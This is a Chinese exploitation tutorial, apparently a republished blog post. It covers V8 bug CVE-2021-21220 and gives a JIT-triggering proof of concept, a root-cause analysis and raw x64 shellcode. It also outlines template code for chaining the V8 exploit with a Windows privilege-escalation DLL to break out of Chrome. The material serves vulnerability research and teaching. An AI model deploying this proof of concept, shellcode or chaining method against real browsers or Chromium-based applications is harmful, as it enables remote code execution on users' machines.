Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)

从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)

作者头像
Seebug漏洞平台
发布于 2022-03-18 03:10:16
发布于 2022-03-18 03:10:16
1.3K00
代码可运行
举报
文章被收录于专栏:Seebug漏洞平台Seebug漏洞平台
运行总次数:0
代码可运行

作者:Hcamael@知道创宇404实验室

相关阅读:

从 0 开始学 V8 漏洞利用之环境搭建(一) 从 0 开始学 V8 漏洞利用之 V8 通用利用链(二) 从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)

从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)

从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

从 0 开始学 V8 漏洞利用之 CVE-2021-38001(六)

从 0 开始学 V8 漏洞利用之 CVE-2021-30517(七)

第六个研究的是CVE-2021-21220,其chrome的bug编号为:1196683(https://bugs.chromium.org/p/chromium/issues/detail?id=1196683)

可以很容易找到其相关信息:

受影响的Chrome最高版本为:89.0.4389.114 受影响的V8最高版本为:8.9.255.24

并且还附带了exp(https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472)

搭建环境

一键编译相关环境:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ ./build.sh 8.9.255.24

漏洞分析

因为通过之前的文章,已经对模板套路很熟悉了,所以在之后的文章中,将不会过多讲诉套模板编写exp,而会让重点放在一些之前文章中没有的点上,更着重在漏洞利用技巧这块。

该漏洞的PoC如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
const _arr = new Uint32Array([2**31]);

function foo(a) {
    var x = 1;
    x = (_arr[0] ^ 0) + 1;

    x = Math.abs(x);
    x -= 2147483647;
    x = Math.max(x, 0);

    x -= 1;
    if(x==-1) x = 0;

    var arr = new Array(x);
    arr.shift();
    var cor = [1.1, 1.2, 1.3];

    return [arr, cor];
}

上述PoC来源于:

https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js

因为我认为这个PoC更利于理解该漏洞。

根据我的理解,我做了如下修改:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var b = new Uint32Array([0x80000000]);
var trigger_array = [];
function trigger() {
  var x = 1;
  x = (b[0] ^ 0) + 1; // 0x80000000 + 1
  x = Math.abs(x); // 0x80000001 0x7fffffff
  x -= 0x7fffffff;  // 2 0
  x = Math.max(x, 0); // 2 0

  x -= 1; // 1 -1
  if(x==-1) x = 0; // 1 0
  trigger_array = new Array(x); // 1 0
  trigger_array.shift();

  var da = [1.1, 2.2];
  var ob = [{a: 1,b: 2}];
  return [da, ob];
}

在正常情况下,该函数的逻辑:

1. b[0]为uint32类型的变量,其值为0x80000000。

2. 异或了0以后,变成了int32类型,其值为-2147483648。

3. 加上1以后,变成了-2147483647,赋值给了x。但是类型会被扩展成int64,因为js的变量是弱类型,如果x一开始的类型是int32,值为2147483647(0x7fffffff),那么x+1不会变成-1,而会变成。2147483648(0x80000000),因为int32被扩展成了int64。

4. 然后使用math.abs函数计算绝对值,x值变为2147483647(0x7fffffff)。

5. x - 0x7FFFFFFF = 0。

6. 使用math.max函数计算x与0之间的最大值,为0。

7. x - 1 = -1。

8. 因为x=-1,所以x改为0。

9. 新建了一个长度为0的数组。

10. 因为长度为0,所以shitf无效,数组不变。

但是上述逻辑,经过JIT优化以后,就不一样了:

1. b[0]为uint32类型的变量,其值为0x80000000。

2. 将其转化成int64类型,其值为0x80000000。

3. 加上1以后,变成了0x80000001。

4. 然后使用math.abs函数计算绝对值,x值变为0x80000001。

5. x - 0x7FFFFFFF = 2。

6. 使用math.max函数计算x与0之间的最大值,为2。

7. x - 1 = 1。

8. 新建了一个长度为1的数组。

9. shitf函数将数组的长度设置为-1,这就让我们得到了长度为-1的数组,通过该数据进行后续利用。

在JIT的优化过程中,存在两个问题:

1.将b[0]转化为int64,把符号去掉了,从Turbo流程图看,是通过ChangeInt32ToInt64来改变b[0]的变量类型,而在这个opcode实现的代码中:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
  ......
    switch (rep) {
      case MachineRepresentation::kBit:  // Fall through.
      case MachineRepresentation::kWord8:
        opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
        break;
      case MachineRepresentation::kWord16:
        opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
        break;
      case MachineRepresentation::kWord32:
        opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
        break;
      default:
        UNREACHABLE();
        return;
    }
......

根据上面代码可以看出,如果b[0]是有符号的,那么将会使用kX64Movsxlq指令进行转换,如果是无符号的就会使用kX64Movl指令进行转换。

b[0]因为是一个uint32类型的变量,所以使用movl进行扩展大小,所以没有扩展其符号,导致出现了问题。

2.shitf函数将数组长度设置为-1。

shift函数的正常逻辑是,判断数组的长度,如果其长度大于0,并且小于100,那么将会对长度的赋值进行优化,预测其长度,然后进行减1操作,直接写入数组的长度。

在JIT的预测当中,x的值为0,因为其预测是按照没有bug的情况进行预测的,但是实际情况x为1,这就导致实际情况的x通过了shitf的长度检查,然后却把x认为是0,从而-1,把数组的长度设置为了-1。

CVE-2021-21220总结

该漏洞的成因还是挺容易理解的,这研究其原理的过程中也要学会看Turbo,后续将为专门看Turbo的opcode写一篇paper。

Windows Chrome利用一条龙

接下来再记录一下v8漏洞在Windows实际的利用。

v8只是Chrome浏览器解析JavaScript代码的一个引擎,就算通过v8代码漏洞,能执行shellcode,也没办法获取到系统权限,因为在v8引擎的外层还一层沙箱,所以在v8漏洞的分析利用文章中,最后显示的效果都需要让Chrome启动加上--no-sandbox参数,所以v8漏洞的实际利用场景只能找一些使用了Chrome内核,并且没有开沙箱的应用。

除此之前,v8需要结合一些其他的漏洞,比如沙箱逃逸/提权漏洞,才能真正打穿Chrome。

本文说说,在Windows的环境下,怎么编写exp来结合Windows提权漏洞,来打穿Chrome。

1.你真正想执行的shellcode:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// shellcode.js
let usershellcode=[0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x8d,0x8d,0x1,0x1,0x0,0x0,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x0,0x0];

把一个弹计算器的shellcode设置一个变量,储存在shellcode.js

2.找一个Windows大哥,写一个Windows提权的loadpe(这部分内容后续会让我同事进行编写),并且写入loadpe中,loadpe的二进制将会写入dll.js。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// dll.js
let dll=[......];

这loadpe在进行Windows提权后,将会执行shellcode.js中的shellcode,而shellcode的地址,我们需要在exp中泄漏出来:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var myshell = new Uint8Array(0x1000);
for (i = 0x0; i < usershellcode.length; i++) {
    myshell[i] = usershellcode[i];
}
var shellDataAddr = addressOf(myshell);
console.log("[*] leak shellcode data addr: 0x" + hex(shellDataAddr));
var shellAddr = read64(shellDataAddr + 0x28n);
alert("[*] leak my shellcode addr: 0x" + hex(ftoi(shellAddr)));
bshellAddr = ftob(shellAddr);
addr_offset = ???;
let dllData = new Uint8Array(dll.length);
for (i = 0x0; i < dll.length; i++) {
    if (i>= addr_offset && i < addr_offset+8) {
        dllData[i] = bshellAddr[i-addr_offset];
    } else {
        dllData[i] = dll[i];
    }
}

3.我们需要泄漏出dll的地址,然后exp的shellcode作用是把loadpe内存设置为可读可写可执行权限,然后跳转过来:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var dllDataAddr = addressOf(dllData);
console.log("[*] leak dll data addr: 0x" + hex(dllDataAddr));
var dllAddr = read64(dllDataAddr + 0x28n);
alert("[*] leak dll addr: 0x" + hex(ftoi(dllAddr)));
var shellcode = [......];
bdllAddr = ftob(dllAddr);
Offset = ???;
for (let i = 0x0; i < 0x8; i++) {
    shellcode[0x2 + i] = bdllAddr[i];
    shellcode[Offset + 0x2 + i] = bdllAddr[i];
}
var Uint8Shellcode = new Uint8Array(shellcode.length);
var Uint64Shellcode = new BigUint64Array(Uint8Shellcode.buffer);
for (let i = 0x0; i < shellcode.length; i++) {
    Uint8Shellcode[i] = shellcode[i];
}
copy_shellcode_to_rwx(Uint64Shellcode, rwx_page_addr);
f();

按照这样的模板编写EXP,就可以跟Windows大哥编写loadpe的提权exp完美结合起来,我研究v8相关的漏洞,他研究Windows相关的漏洞,然后我们的成果却可以相互结合。

参考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
  2. https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472

往 期 热 门

(点击图片跳转)

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
使用ICMP传递shellcode
原文:https://blog.romanrii.com/using-icmp-to-deliver-shellcode
黑白天安全
2021/02/26
5580
使用ICMP传递shellcode
干货 | Shellcode免杀总结<一>
自己还是想把一些shellcode免杀的技巧通过白话文、傻瓜式的文章把技巧讲清楚。希望更多和我一样web狗也能动手做到免杀的实现。
HACK学习
2020/02/17
1.6K0
干货 | Shellcode免杀总结<一>
Ladon MS17010 Exploit for PowerShell
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/131843.html原文链接:https://javaforall.cn
全栈程序员站长
2022/08/12
6590
Ladon MS17010 Exploit for PowerShell
内网渗透测试基础
内网,也指局域网(Local Area Network,LAN),是指在某一区域内由多台计算机互联成的计算机组,内网是封闭的。
中龙技术
2022/09/29
1.4K0
内网渗透测试基础
钉钉RCE漏洞复现
利用了Chromium v8引擎整数溢出漏洞(是V8优化编译器Turbofan在SimplifiedLowering阶段产生的一个整数溢出漏洞),V8是Chromium内核中的JavaScript引擎,负责对JavaScript代码进行解释优化与执行。
故里[TRUE]
2023/04/19
6900
钉钉RCE漏洞复现
学员投稿 | go语言免杀360
先从exe出发 先写一个 正常的输出hello,world exe 用工具 CheckGoBuild.exe -f main.go 批量编译一下
Ms08067安全实验室
2024/12/20
2460
学员投稿 | go语言免杀360
Payload 实现分离免杀
众所周知,目前的杀毒软件的杀毒原理主要有三种方式,一种基于特征,一种基于行为,一种基于云查杀,其中云查杀的一些特点基本上也可以概括为特征码查杀,不管是哪一种杀毒软件,都会检查PE文件头,尤其是当后门程序越大时,越容易被查杀。
王 瑞
2022/12/28
6140
Payload 实现分离免杀
单片机DA转换实现正弦波
使用的是查表法: 1.c文件: #include "reg52.h" #include <intrins.h> #include <i2c.h> #define PCF8591 0x90 #define uint unsigned int #define uchar unsigned char #define arr_length 720 //正弦波数组长度 code unsigned char sin1[720]={0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x
用户1749219
2018/05/16
1.3K0
C语言编程: 在BMP图片上添加图片水印
gcc 版本 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC)
DS小龙哥
2022/01/07
5.1K0
C语言编程: 在BMP图片上添加图片水印
REVERSE|西湖论剑·2022中国杭州网络安全技能大赛初赛官方Write Up
3、字符串列表能发现字符串“Input:”,通过交叉引用定位到是在sub_401170中被调用的
安恒网络空间安全讲武堂
2023/03/21
4250
REVERSE|西湖论剑·2022中国杭州网络安全技能大赛初赛官方Write Up
计算机控制技术实验说明
AD转换是所有嵌入式系统或机器人获取外部信息的一种重要方式,将温度、角度和位置等转换为对应的数字量,供处理器处理。
zhangrelay
2019/01/23
5810
爬取巴比特快讯遇到状态码“521”
最近在爬区块链相关的快讯,上周巴比特改版后重写了爬虫,跑了一天就挂了。原来是网站使用了加速乐的服务,爬虫每次都返回521的状态码。
bosh123
2021/01/29
1.3K0
Cobalt Strike 利用 Chrome 0day 上线
取出 shellcode 部分 全局替换 \ 为 ,0 然后取出来shellcode 放入 chrome 0day 中
公众号爱国小白帽
2021/04/22
5680
AES加解密原理详解与算法实现
​要编写AES算法,首先了解AES算法原理,AES算法是一个对称分组密码算法。数据分组长度必须是 128 bits,使用的密钥长度为 128,192 或 256 bits。对于三种不同密钥长度的 AES 算法,分别称为“AES-128”、“AES-192”、“AES-256”。AES加密算法涉及4种操作:字节替代(SubBytes)、行移位(ShiftRows)、列混(MixColumns)和轮密钥加(AddRoundKey)。
timerring
2022/07/20
4K0
AES加解密原理详解与算法实现
sm2国密算法的纯c语言版本,使用于单片机平台(静态内存分配)
之前的动态内存分配,在上面总是莫名其妙的崩。不知道堆和栈空间该改多大合适。且总共64K的内存,太受限了。
杨永贞
2020/08/04
3.4K1
免杀tips2
继上一个之后,第二个tips: 常见的Csharp的shellcode如下: byte[] X_Final = new byte[] { 0xfc ,0x48 ,0x83 ,0xe4 ,0xf0 ,0xe8 ,0xcc ,0x00 ,0x00 ,0x00 ,0x41 ,0x51 ,0x41 , 0x50 ,0x52 ,0x51 ,0x56 ,0x48 ,0x31 ,0xd2 ,0x65 ,0x48 ,0x8b ,0x52 ,0x60 ,0x48 ,0x8b ,0x52 ,0x18 ,0x48 ,0x8b
鸿鹄实验室
2021/04/15
5000
干货 | Shellcode免杀总结<二>
xor异或加密shellcode后,申请内存执行,和文开头执行shell从的方式无区别
HACK学习
2020/02/17
1.8K0
干货 | Shellcode免杀总结<二>
CS系列-使用C#的免杀
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Runtime.InteropServices;
字节脉搏实验室
2020/03/08
1.9K0
CS系列-使用C#的免杀
Python爬虫—破解JS加密的Cookie
目录[-] 前言 在GitHub上维护了一个代理池的项目,代理来源是抓取一些免费的代理发布网站。上午有个小哥告诉我说有个代理抓取接口不能用了,返回状态521。抱着帮人解决问题的心态去跑了一遍代码。发现果真是这样。 通过Fiddler抓包比较,基本可以确定是JavaScript生成加密Cookie导致原来的请求返回521。 发现问题 打开Fiddler软件,用浏览器打开目标站点(http://www.kuaidaili.com/proxylist/2/) 。可以发现浏览器对这个页面加载了两次,第一次返回5
jhao104
2018/03/20
6.2K0
Python爬虫—破解JS加密的Cookie
[文末抽奖] 免杀:GO实现shellcode加载器过360
现在很多内网环境中都安了各种各样的杀软,在做内网渗透时难免会四处碰壁。想到Go是一门较新的语言,免杀效果应该比较好,再加上现在网上主流的免杀都是c、c++、python一类的,涉及go的免杀较少,所以就想来做一个Go语言的免杀。
乌鸦安全
2021/09/03
4.2K0
[文末抽奖] 免杀:GO实现shellcode加载器过360
相关推荐
使用ICMP传递shellcode
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验